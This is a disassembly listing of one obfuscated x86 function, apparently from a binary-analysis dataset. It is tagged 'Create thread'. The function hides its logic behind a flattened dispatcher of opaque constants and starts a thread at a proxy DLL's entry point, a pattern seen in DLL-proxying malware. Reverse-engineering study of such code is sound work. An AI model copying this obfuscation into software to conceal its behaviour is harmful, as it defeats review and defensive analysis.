Function at 0x1008d270
Capabilities:
Create thread

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x14
mov eax, dword [esp + 0x2c]
mov ecx, dword [0x100a1040]
xor ecx, esp
mov dword [esp + 0x10], ecx
cmp eax, 1
sete byte [esp + 7]
mov edx, 0x442b5dfa
mov ecx, 0x8c560875
mov eax, 0x95fc62ec
mov esi, 0x43f438b3
mov edi, 0x2e417b5f
mov ebx, 0xe0db205
jmp 0x1008d2d0
mov ecx, dword [esp + 8]
cmp ecx, 0x14199f19
mov ecx, 0xc2d5c20a
mov edx, 0x9c9f241e
cmove ecx, edx
mov edx, 0x1d784dab
nop dword [eax + eax]
cmp edx, 0xb16c709
jg 0x1008d340
cmp edx, 0xb7a4bd90
jle 0x1008d3b0
cmp edx, 0xe3dc33bb
jg 0x1008d467
cmp edx, 0xc5951775
jle 0x1008d574
cmp edx, 0xc5951776
je 0x1008d70f
cmp edx, 0xd0cf9cd4
je 0x1008d72a
cmp edx, 0xd7e20035
jne 0x1008d2d0
mov edx, dword [esp]
cmp edx, 0x460056eb
mov edx, 0xed5af382
mov ebp, 0xc5951776
cmovl edx, ebp
jmp 0x1008d2d0
cmp edx, 0x442b5df9
jle 0x1008d410
cmp edx, 0x64ba6064
jg 0x1008d4b2
cmp edx, 0x5376e11d
jle 0x1008d5a7
cmp edx, 0x5376e11e
je 0x1008d745
cmp edx, 0x5c6b6081
je 0x1008d758
cmp edx, 0x5dc1272c
jne 0x1008d2d0
mov edx, dword [esp]
cmp edx, 0xd9ef6ac8
mov edx, 0x7bd03f8c
mov ebp, 0x929636cb
cmovl edx, ebp
jmp 0x1008d2d0
cmp edx, 0x929636ca
jg 0x1008d4f8
cmp edx, 0x8a397abc
jle 0x1008d5c4
cmp edx, 0x8a397abd
je 0x1008d2af
cmp edx, 0x8e3090c5
je 0x1008d762
cmp edx, 0x9102e0b4
jne 0x1008d2d0
mov ecx, dword [esp + 8]
cmp ecx, 0xe3803537
mov ecx, 0x3731cd17
mov edx, 0xa1b98262
jmp 0x1008d875
cmp edx, 0x1d784daa
jle 0x1008d537
cmp edx, 0x38d392f9
jle 0x1008d610
cmp edx, 0x38d392fa
je 0x1008d77d
cmp edx, 0x393f1afb
je 0x1008d798
cmp edx, 0x43f438b3
jne 0x1008d2d0
mov edx, dword [esp]
cmp edx, 0x9834a5c9
mov edx, 0x70ccceb5
mov ebp, 0x64ba6065
cmovl edx, ebp
jmp 0x1008d2d0
cmp edx, 0xf5e8b773
jle 0x1008d643
cmp edx, 0xf5e8b774
je 0x1008d7a7
cmp edx, 0xf71c9852
je 0x1008d7b6
cmp edx, 0x15722f2
jne 0x1008d2d0
mov edx, dword [esp]
cmp edx, 0x35ffc91d
mov edx, 0xd0cf9cd4
mov ebp, 0x5dc1272c
cmovl edx, ebp
jmp 0x1008d2d0
cmp edx, 0x74c11334
jle 0x1008d676
cmp edx, 0x74c11335
je 0x1008d7d1
cmp edx, 0x7bd03f8c
je 0x1008d7e7
cmp edx, 0x7ef8d618
jne 0x1008d2d0
mov edx, dword [esp]
cmp edx, 0xc1e77b20
mov edx, 0x5c6b6081
cmove edx, ebx
jmp 0x1008d2d0
cmp edx, 0xa82a7c6a
jle 0x1008d6a9
cmp edx, 0xa82a7c6b
je 0x1008d7fd
cmp edx, 0xada8e810
jne 0x1008d8e5
mov edx, dword [esp]
cmp edx, 0x236baecb
mov edx, 0x5c6b6081
mov ebp, 0xb7a4bd91
cmove edx, ebp
jmp 0x1008d2d0
cmp edx, 0xe0db204
jg 0x1008d6dc
cmp edx, 0xb16c70a
je 0x1008d818
cmp edx, 0xd38ab12
jne 0x1008d2d0
mov ecx, dword [esp + 8]
cmp ecx, 0x95fc62ec
mov ecx, 0xc2d5c20a
mov edx, 0x236baecb
jmp 0x1008d2c3
cmp edx, 0xb7a4bd91
je 0x1008d833
cmp edx, 0xc075b8be
jne 0x1008d2d0
mov edx, dword [esp]
cmp edx, 0xa1b98262
mov edx, 0x5c6b6081
mov ebp, 0xd38ab12
cmove edx, ebp
jmp 0x1008d2d0
cmp edx, 0x442b5dfa
je 0x1008d854
cmp edx, 0x450f2128
je 0x1008d845
jmp 0x1008d2d0
cmp edx, 0x82e20053
je 0x1008d861
cmp edx, 0x8509eebe
jne 0x1008d2d0
mov dword [esp + 0xc], 0
lea eax, [esp + 0xc]
push eax
push 0
push 0
push sym.proxy.dll_DllEntry
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 0x1d784dab
mov ecx, 0xd9ef6ac8
mov eax, 0xe3803537
jmp 0x1008d2d0
cmp edx, 0x1d784dab
je 0x1008d882
cmp edx, 0x2e417b5f
jne 0x1008d2d0
mov edx, dword [esp]
cmp edx, 0xd9ef6ac8
mov edx, 0x5c6b6081
mov ebp, 0x393f1afb
cmove edx, ebp
jmp 0x1008d2d0
cmp edx, 0xe3dc33bc
je 0x1008d88c
cmp edx, 0xed5af382
jne 0x1008d2d0
mov edx, dword [esp]
cmp edx, 0x460056eb
mov edx, 0x5c6b6081
mov ebp, 0xb4f61907
cmove edx, ebp
jmp 0x1008d2d0
cmp edx, 0x64ba6065
je 0x1008d896
cmp edx, 0x70ccceb5
jne 0x1008d2d0
mov edx, dword [esp]
cmp edx, 0x9c9f241e
mov edx, 0x38d392fa
mov ebp, 0xa82a7c6b
cmovl edx, ebp
jmp 0x1008d2d0
cmp edx, 0x929636cb
je 0x1008d8b1
cmp edx, 0xa7e90273
jne 0x1008d2d0
mov edx, dword [esp]
cmp edx, 0xc2d5c20a
mov edx, 0x15722f2
mov ebp, 0x74c11335
cmovl edx, ebp
jmp 0x1008d2d0
cmp edx, 0xe0db205
je 0x1008d8cc
cmp edx, 0x1799d0c0
jne 0x1008d2d0
mov edx, dword [esp]
cmp edx, 0x35ffc91d
mov edx, 0x5c6b6081
mov ebp, 0x9102e0b4
cmove edx, ebp
jmp 0x1008d2d0
mov edx, dword [esp]
cmp edx, 0x3731cd17
mov edx, 0x5c6b6081
mov ebp, 0x82e20053
cmove edx, ebp
jmp 0x1008d2d0
mov edx, dword [esp]
cmp edx, 0x3731cd17
mov edx, 0xd7e20035
mov ebp, 0x1799d0c0
cmovl edx, ebp
jmp 0x1008d2d0
mov dword [esp + 8], eax
mov edx, 0x1d784dab
mov ecx, 0x35ffc91d
jmp 0x1008d2d0
mov edx, 0xe3dc33bc
jmp 0x1008d2d0
mov edx, dword [esp]
cmp edx, 0xba984444
mov edx, 0x5c6b6081
mov ebp, 0x8a397abd
cmove edx, ebp
jmp 0x1008d2d0
mov edx, dword [esp]
cmp edx, 0x9c9f241e
mov edx, 0x5c6b6081
mov ebp, 0x8509eebe
cmove edx, ebp
jmp 0x1008d2d0
mov edx, 0x1d784dab
mov ecx, 0x8c560875
jmp 0x1008d2d0
mov edx, 0x1d784dab
mov ecx, 0x9834a5c9
jmp 0x1008d2d0
mov edx, dword [esp]
cmp edx, 0xc1e77b20
mov edx, 0x7ef8d618
mov ebp, 0x8e3090c5
cmovl edx, ebp
jmp 0x1008d2d0
mov edx, dword [esp]
cmp edx, 0xa1b98262
mov edx, 0xb16c70a
cmovl edx, esi
jmp 0x1008d2d0
mov edx, dword [esp]
cmp edx, 0x236baecb
mov edx, 0xada8e810
cmovl edx, edi
jmp 0x1008d2d0
mov edx, dword [esp]
cmp edx, 0x9834a5c9
mov edx, 0x5c6b6081
mov ebp, 0x450f2128
cmove edx, ebp
jmp 0x1008d2d0
mov edx, dword [esp]
cmp edx, 0xba984444
mov edx, 0xf71c9852
mov ebp, 0xc075b8be
cmovl edx, ebp
jmp 0x1008d2d0
cmp byte [esp + 7], 0
mov eax, 0xe3803537
mov ecx, 0x14199f19
cmovne eax, ecx
mov edx, 0x1d784dab
mov ecx, 0xd9ef6ac8
jmp 0x1008d2d0
mov dword [esp], ecx
mov edx, 0xa7e90273
jmp 0x1008d2d0
mov ecx, dword [esp + 8]
cmp ecx, 0x14199f19
mov ecx, 0xba984444
mov edx, 0xc1e77b20
cmovl ecx, edx
mov edx, 0x1d784dab
jmp 0x1008d2d0
mov edx, 0x442b5dfa
jmp 0x1008d2d0
mov edx, 0x1d784dab
jmp 0x1008d2d0
mov edx, dword [esp]
cmp edx, 0x8c560875
mov edx, 0x5c6b6081
mov ebp, 0x5376e11e
cmove edx, ebp
jmp 0x1008d2d0
mov edx, dword [esp]
cmp edx, 0xc2d5c20a
mov edx, 0x5c6b6081
mov ebp, 0xf5e8b774
cmove edx, ebp
jmp 0x1008d2d0
mov ecx, dword [esp + 8]
cmp ecx, 0xe3803537
mov ecx, 0xc2d5c20a
mov edx, 0x460056eb
jmp 0x1008d2c3
cmp edx, 0xb4f61907
jne 0x1008d2d0
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.1008e3cc
mov eax, 1
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret 0xc